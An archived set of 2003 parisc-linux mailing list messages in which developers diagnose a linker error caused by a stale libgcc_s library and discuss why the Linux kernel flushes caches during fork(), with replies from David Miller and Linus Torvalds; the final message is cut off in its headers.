Subject: Re: [parisc-linux] strange GNU ld / libgcc_s.so problems
Date: Mon, 15 Dec 2003 21:42:21 +0100
Lines: 23
Approved: news@gmane.org
Message-ID: <200312152142.21505.deller@gmx.de>
References: <200312142312.hBENCSHO002332@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623053 3378 80.91.229.3 (22 Nov 2014 02:24:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:13 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	parisc-linux@lists.parisc-linux.org
To: carlos@baldric.uwo.ca (Carlos O'Donell)
Original-X-From: deller@gmx.de  Mon Dec 15 13:45:07 2003
Return-Path: <deller@gmx.de>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (pop.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 5B0504840
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 15 Dec 2003 13:45:06 -0700 (MST)
Original-Received: (qmail 20405 invoked by uid 65534); 15 Dec 2003 20:44:52 -0000
Original-Received: from pD9040606.dip.t-dialin.net (EHLO p100) (217.4.6.6)
	by mail.gmx.net (mp009) with SMTP; 15 Dec 2003 21:44:52 +0100
X-Authenticated: #1045983
User-Agent: KMail/1.5.94
In-Reply-To: <200312142312.hBENCSHO002332@hiauly1.hia.nrc.ca>
Content-Disposition: inline
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 15 Dec 2003 20:45:07 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20391

On Monday 15 December 2003 00:12, John David Anglin wrote:
> > > -lgcc_s (//usr/lib/libstdc++.so: undefined reference to `_Unwind_SjLj_Resume@GCC_3.0'
> > > /usr/lib/libstdc++.so: undefined reference to `_Unwind_SjLj_Register@GCC_3.0'
> > > /usr/lib/libstdc++.so: undefined reference to `_Unwind_SjLj_RaiseException@GCC_3.0'
> > > /usr/lib/libstdc++.so: undefined reference to `_Unwind_SjLj_Unregister@GCC_3.0'
> > > /usr/lib/libstdc++.so: undefined reference to `_Unwind_SjLj_Resume_or_Rethrow@GCC_3.3'
> > > usr/lib/libgcc_s.so)
> 
> Debian builds GCC using sjlj exceptions.  This can happen if you use
> GCC built using dwarf2 exception support (the default).

Hi Dave,

I'm only using debian's official binaries thru "apt-get update" - including gcc/g++:

c3000:/var/cache/apt/archives# dpkg -l | grep gcc
ii  gcc            3.3.1-2        The GNU C compiler.
pi  gcc-3.2-base   3.2.3-8        The GNU Compiler Collection (base package)
ii  gcc-3.3        3.3.2-4        The GNU C compiler
ii  gcc-3.3-base   3.3.2-4        The GNU Compiler Collection (base package)
ii  gcc-hppa64     3.0-0pre010427 Cross gcc for hppa64
ii  libgcc1        3.3.2-4        GCC support library


From - Thu Nov 08 21:30:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] strange GNU ld / libgcc_s.so problems
Date: Mon, 15 Dec 2003 21:46:44 +0100
Lines: 43
Approved: news@gmane.org
Message-ID: <200312152146.44613.deller@gmx.de>
References: <200312141209.28283.deller@gmx.de>
	<20031214221629.GZ13882@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623053 3381 80.91.229.3 (22 Nov 2014 02:24:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:13 +0000 (UTC)
To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: deller@gmx.de  Mon Dec 15 13:47:02 2003
Return-Path: <deller@gmx.de>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (pop.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 4A2B0487B
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 15 Dec 2003 13:47:02 -0700 (MST)
Original-Received: (qmail 10020 invoked by uid 65534); 15 Dec 2003 20:46:59 -0000
Original-Received: from pD9040606.dip.t-dialin.net (EHLO p100) (217.4.6.6)
	by mail.gmx.net (mp012) with SMTP; 15 Dec 2003 21:46:59 +0100
X-Authenticated: #1045983
User-Agent: KMail/1.5.94
In-Reply-To: <20031214221629.GZ13882@systemhalted>
Content-Disposition: inline
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 15 Dec 2003 20:47:03 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20392

On Sunday 14 December 2003 23:16, Carlos O'Donell wrote:
> On Sun, Dec 14, 2003 at 12:11:07PM +0100, Helge Deller wrote:
> > Below is the output and I don't understand the part which I marked with "######".
> > Why does collect2 suddenly tries to resolve libstdc++.so while it searched for 
> > libgcc_s.so ? All other libraries (e.g.-lutil) behave IMHO normal.
> > Any ideas ? This seems to me like a bug in gcc 3.3.2, but I'm no expert here.
> > 
> ... SNIP ...
> 
> > attempt to open /usr/X11R6/lib/libgcc_s.so failed
> > attempt to open /usr/X11R6/lib/libgcc_s.a failed
> > attempt to open /opt/kde/qt/lib/libgcc_s.so failed
> > attempt to open /opt/kde/qt/lib/libgcc_s.a failed
> > attempt to open /opt/kde/lib/libgcc_s.so failed
> > attempt to open /opt/kde/lib/libgcc_s.a failed
> > attempt to open /usr/lib/libgcc_s.so succeeded
> > -lgcc_s (//usr/lib/libstdc++.so: undefined reference to `_Unwind_SjLj_Resume@GCC_3.0'
> > /usr/lib/libstdc++.so: undefined reference to `_Unwind_SjLj_Register@GCC_3.0'
> > /usr/lib/libstdc++.so: undefined reference to `_Unwind_SjLj_RaiseException@GCC_3.0'
> > /usr/lib/libstdc++.so: undefined reference to `_Unwind_SjLj_Unregister@GCC_3.0'
> > /usr/lib/libstdc++.so: undefined reference to `_Unwind_SjLj_Resume_or_Rethrow@GCC_3.3'
> > usr/lib/libgcc_s.so)
> > 
> > ##### ^^^ Why does /usr/lib/libstdc++.so comes into the game here ?
> > ##### The double "//" seems suspect too, since it continues with "usr/lib/libgcc_s.so" 
> > ##### in the last line without the trailing "/". It seems this "string" was broken up
> > ##### right in the middle....
> 
> Where did that file come from? Is this a debian box?
> You should have:
> 
> /usr/lib/gcc-lib/hppa-linux/<gcc-version>/libgcc_s.so
> pointing to /lib/libgcc_s.so

Yes - Debian box and correct symlink.

> I suggest you try building this in a clean unstable chroot :)

:-)

Thanks,
Helge


From - Thu Nov 08 21:30:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] strange GNU ld / libgcc_s.so problems
Date: Mon, 15 Dec 2003 16:05:15 -0500 (EST)
Lines: 19
Approved: news@gmane.org
Message-ID: <200312152105.hBFL5FZL017936@hiauly1.hia.nrc.ca>
References: <200312152146.44613.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623053 3383 80.91.229.3 (22 Nov 2014 02:24:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:13 +0000 (UTC)
Cc: carlos@baldric.uwo.ca, parisc-linux@lists.parisc-linux.org
To: deller@gmx.de (Helge Deller)
Original-X-From: dave@hiauly1.hia.nrc.ca  Mon Dec 15 14:05:31 2003
Return-Path: <dave@hiauly1.hia.nrc.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id BF7A94868
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 15 Dec 2003 14:05:29 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	hBFL5F2v017937; Mon, 15 Dec 2003 16:05:16 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id hBFL5FZL017936;
	Mon, 15 Dec 2003 16:05:15 -0500 (EST)
In-Reply-To: <200312152146.44613.deller@gmx.de> from "Helge Deller" at Dec 15,
	2003 09:46:44 pm
X-Mailer: ELM [version 2.4 PL25]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 15 Dec 2003 21:05:31 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20393

> > > attempt to open /usr/lib/libgcc_s.so succeeded
> > > -lgcc_s (//usr/lib/libstdc++.so: undefined reference to `_Unwind_SjLj_Resume@GCC_3.0'
> > > /usr/lib/libstdc++.so: undefined reference to `_Unwind_SjLj_Register@GCC_3.0'
> > > /usr/lib/libstdc++.so: undefined reference to `_Unwind_SjLj_RaiseException@GCC_3.0'
> > > /usr/lib/libstdc++.so: undefined reference to `_Unwind_SjLj_Unregister@GCC_3.0'
> > > /usr/lib/libstdc++.so: undefined reference to `_Unwind_SjLj_Resume_or_Rethrow@GCC_3.3'
> > > usr/lib/libgcc_s.so)
> > > 

I don't have libgcc_s.so in /usr/lib.  This is suspect.  libgcc_s.so should
contain the above symbols if built with sjlj exceptions.  However, it's
difficult to tell since the symbols are stripped.  I would move
/usr/lib/libstdc++.so out of the way and retry your link.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:30:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] strange GNU ld / libgcc_s.so problems
Date: Mon, 15 Dec 2003 22:38:58 +0100
Lines: 22
Approved: news@gmane.org
Message-ID: <200312152238.58462.deller@gmx.de>
References: <200312152105.hBFL5FZL017936@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416623054 3389 80.91.229.3 (22 Nov 2014 02:24:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:14 +0000 (UTC)
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>,
	carlos@baldric.uwo.ca, parisc-linux@lists.parisc-linux.org
Original-X-From: deller@gmx.de  Mon Dec 15 14:39:05 2003
Return-Path: <deller@gmx.de>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (pop.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id BE6654868
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 15 Dec 2003 14:39:04 -0700 (MST)
Original-Received: (qmail 8468 invoked by uid 65534); 15 Dec 2003 21:39:03 -0000
Original-Received: from pD9040606.dip.t-dialin.net (EHLO p100) (217.4.6.6)
	by mail.gmx.net (mp007) with SMTP; 15 Dec 2003 22:39:03 +0100
X-Authenticated: #1045983
User-Agent: KMail/1.5.94
In-Reply-To: <200312152105.hBFL5FZL017936@hiauly1.hia.nrc.ca>
Content-Disposition: inline
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 15 Dec 2003 21:39:05 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20394

On Monday 15 December 2003 22:05, John David Anglin wrote:
> > > > attempt to open /usr/lib/libgcc_s.so succeeded
> > > > -lgcc_s (//usr/lib/libstdc++.so: undefined reference to `_Unwind_SjLj_Resume@GCC_3.0'
> > > > /usr/lib/libstdc++.so: undefined reference to `_Unwind_SjLj_Register@GCC_3.0'
> > > > /usr/lib/libstdc++.so: undefined reference to `_Unwind_SjLj_RaiseException@GCC_3.0'
> > > > /usr/lib/libstdc++.so: undefined reference to `_Unwind_SjLj_Unregister@GCC_3.0'
> > > > /usr/lib/libstdc++.so: undefined reference to `_Unwind_SjLj_Resume_or_Rethrow@GCC_3.3'
> > > > usr/lib/libgcc_s.so)
> > > > 
> 
> I don't have libgcc_s.so in /usr/lib.  This is suspect.  libgcc_s.so should
> contain the above symbols if built with sjlj exceptions.  

doh -that's it !

My /usr/lib/libgcc_so.1 was from an old private gcc build (I forgot about it since
it was from 2002) and it broke my builds.
I deleted this file and now all works perfect.

Thanks a lot.
Helge


From - Thu Nov 08 21:30:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] dlopen failed on 'libthread_db.so.1' -
	/lib/libthread_db.so.1: undefined symbol: ps_pglobal_lookup
Date: Mon, 15 Dec 2003 17:05:12 -0500 (EST)
Lines: 14
Approved: news@gmane.org
Message-ID: <200312152205.hBFM5CEn018329@hiauly1.hia.nrc.ca>
References: <no.id>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623054 3397 80.91.229.3 (22 Nov 2014 02:24:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:14 +0000 (UTC)
Cc: carlos@baldric.uwo.ca, parisc-linux@lists.parisc-linux.org
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: dave@hiauly1.hia.nrc.ca  Mon Dec 15 15:05:14 2003
Return-Path: <dave@hiauly1.hia.nrc.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3FED94868
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 15 Dec 2003 15:05:14 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	hBFM5C2v018330; Mon, 15 Dec 2003 17:05:12 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id hBFM5CEn018329;
	Mon, 15 Dec 2003 17:05:12 -0500 (EST)
In-Reply-To: <no.id> from "John David Anglin" at Dec 14, 2003 06:12:28 pm
X-Mailer: ELM [version 2.4 PL25]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 15 Dec 2003 22:05:14 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20395

I hacked together of a build of debian gdb-6.0-2 this afternoon.  When
I start gdb, I see the following error:

dave@gsyprf11:~/gdb-6.0-2/objdir$ gdb/gdb


dlopen failed on 'libthread_db.so.1' - /lib/libthread_db.so.1: undefined symbol: ps_pglobal_lookup
GDB will not be able to debug pthreads.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:30:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Question about cache flushing and fork
Date: Mon, 15 Dec 2003 20:40:33 -0800
Lines: 32
Approved: news@gmane.org
Message-ID: <20031216044033.GT533__19227.7999748059$1416623054$gmane$org@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623054 3401 80.91.229.3 (22 Nov 2014 02:24:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:14 +0000 (UTC)
To: linux-kernel@vger.kernel.org, parisc-linux@lists.parisc-linux.org
Original-X-From: randolph@tausq.org  Mon Dec 15 20:46:53 2003
Return-Path: <randolph@tausq.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 55D154840
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 15 Dec 2003 20:46:53 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id E6574CD294; Mon, 15 Dec 2003 20:40:33 -0800 (PST)
Content-Disposition: inline
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 16 Dec 2003 03:46:53 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20396

Hi,

Can someone please explain why it is necessary to flush the cache 
during fork()? (i.e. call to flush_cache_mm() in dup_mmap)

It seems that after fork, the parent and child have access to the same
vm, so it should be sufficient to flush the tlb, and create two pte's
for the processes. I can see that during COW processing there can be
kernel/user cache aliasing issues on virtually indexed caches, but
that seems to be taken care of by copy_cow_page(). 

I've read through cachetlb.txt, but it just says:

        This interface is used to handle whole address space
        page table operations such as what happens during
        fork, exit, and exec.

I can see why this is needed for exit(), but why fork()? and i don't see
this used for exec() ?

Also is there an updated version of the "Linux Cache Flush Architecture"
document? (http://en.tldp.org/LDP/khg/HyperNews/get/memory/flush.html)
This is a very nicely written doc, but it seems a bit out of date for
2.6 (e.g. flush_page_to_ram is gone)

thanks
randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:30:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "David S. Miller" <davem@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Question about cache flushing and fork
Date: Mon, 15 Dec 2003 20:48:35 -0800
Lines: 12
Approved: news@gmane.org
Message-ID: <20031215204835.0993a51a.davem__18508.7601923899$1416623055$gmane$org@redhat.com>
References: <20031216044033.GT533@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623055 3403 80.91.229.3 (22 Nov 2014 02:24:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:15 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: davem@redhat.com  Mon Dec 15 21:48:43 2003
Return-Path: <davem@redhat.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rth.ninka.net (rth.ninka.net [216.101.162.244])
	by dsl2.external.hp.com (Postfix) with ESMTP id 961184840
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 15 Dec 2003 21:48:42 -0700 (MST)
Original-Received: from rth.ninka.net (localhost.localdomain [127.0.0.1])
	by rth.ninka.net (8.12.10/8.12.10) with SMTP id hBG4maB4005644;
	Mon, 15 Dec 2003 20:48:41 -0800
In-Reply-To: <20031216044033.GT533@tausq.org>
X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; i386-redhat-linux-gnu)
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 16 Dec 2003 04:48:43 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20397

On Mon, 15 Dec 2003 20:40:33 -0800
Randolph Chung <randolph@tausq.org> wrote:

> Can someone please explain why it is necessary to flush the cache 
> during fork()? (i.e. call to flush_cache_mm() in dup_mmap)

Writable pages that will be shared between the child and
parent are marked read-only and COW, some cpu caches store
protection information in the cache lines in order to avoid
TLB lookups etc. so the caches must be flushed since the
page protection information is changing.


From - Thu Nov 08 21:30:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Linus Torvalds <torvalds@osdl.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Question about cache flushing and fork
Date: Mon, 15 Dec 2003 20:56:33 -0800 (PST)
Lines: 21
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.58.0312152049140.3345__37634.2087322429$1416623055$gmane$org@home.osdl.org>
References: <20031216044033.GT533@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416623055 3407 80.91.229.3 (22 Nov 2014 02:24:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:15 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: torvalds@osdl.org  Mon Dec 15 21:56:37 2003
Return-Path: <torvalds@osdl.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.osdl.org (fw.osdl.org [65.172.181.6])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6B4C74840
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 15 Dec 2003 21:56:37 -0700 (MST)
Original-Received: from localhost (build.pdx.osdl.net [172.20.1.2])
	by mail.osdl.org (8.11.6/8.11.6) with ESMTP id hBG4uYZ24046;
	Mon, 15 Dec 2003 20:56:34 -0800
In-Reply-To: <20031216044033.GT533@tausq.org>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 16 Dec 2003 04:56:38 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20398



On Mon, 15 Dec 2003, Randolph Chung wrote:
>
> Can someone please explain why it is necessary to flush the cache
> during fork()? (i.e. call to flush_cache_mm() in dup_mmap)

I don't know if it is strictly necessary - we might well be able to just
do the right thing in the page fault COW handler. But doing the cache
flush at fork time just means that we should never have a page that is
marked read-only but that may have dirty data in the virtual caches. That
could easily get confusing. In fact, I wouldn't be totally surprised if
some architecture refused to do write-backs through a read-only mapping.

But quite frankly, I suspect that since only a few CPU's have virtually
indexed caches, the cache-flush code hasn't gotten that much testing, and
there may be somewhat of an overkill approach there. As you found out,
it's not _that_ well documented.

		Linus


From - Thu Nov 08 21:30:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Question about cache flushing and fork
Date: Tue, 16 Dec 2003 00:06:57 -0500 (EST)
Lines: 37
Approved: news@gmane.org
Message-ID: <200312160506.hBG56wnD015891@hiauly1.hia.nrc.ca>
References: <20031216044033.GT533@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623055 3411 80.91.229.3 (22 Nov 2014 02:24:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:15 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: randolph@tausq.org
Original-X-From: dave@hiauly1.hia.nrc.ca  Mon Dec 15 22:06:59 2003
Return-Path: <dave@hiauly1.hia.nrc.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
